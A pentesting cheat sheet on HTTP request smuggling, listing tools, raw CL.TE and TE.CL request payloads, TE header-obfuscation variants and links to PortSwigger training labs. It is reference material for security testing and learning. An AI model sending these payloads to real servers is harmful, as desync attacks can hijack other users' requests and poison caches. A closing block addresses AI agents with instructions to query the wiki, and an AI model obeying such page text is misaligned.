# Request Smuggling

## Summary

* [Tools](broken://pages/LT6Ba2gIythVrQntAifq)
* [CL.TE vulnerabilities](broken://pages/LT6Ba2gIythVrQntAifq)
* [TE.CL vulnerabilities](broken://pages/LT6Ba2gIythVrQntAifq)
* [TE.TE behavior: obfuscating the TE header](broken://pages/LT6Ba2gIythVrQntAifq)
* [References](broken://pages/LT6Ba2gIythVrQntAifq)

## Tools

* [HTTP Request Smuggler / BApp Store](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646)
* [Smuggler](https://github.com/defparam/smuggler)

## CL.TE vulnerabilities

> The front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.

```powershell
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

Example:

```powershell
POST / HTTP/1.1
Host: domain.example.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G
```

Challenge: <https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te>

## TE.CL vulnerabilities

> The front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.

```powershell
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0
```

Example:

```powershell
POST / HTTP/1.1
Host: domain.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86
Content-Length: 4
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0

```

:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence \r\n\r\n following the final 0.

Challenge: <https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl>

## TE.TE behavior: obfuscating the TE header

> The front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.

```powershell
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
```

Challenge: <https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header>

## References

* [PortSwigger - Request Smuggling Tutorial](https://portswigger.net/web-security/request-smuggling) and [PortSwigger - Request Smuggling Reborn](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn)
* [A Pentester's Guide to HTTP Request Smuggling - Busra Demir - 2020, October 16](https://blog.cobalt.io/a-pentesters-guide-to-http-request-smuggling-8b7bf0db1f0)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/request-smuggling.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.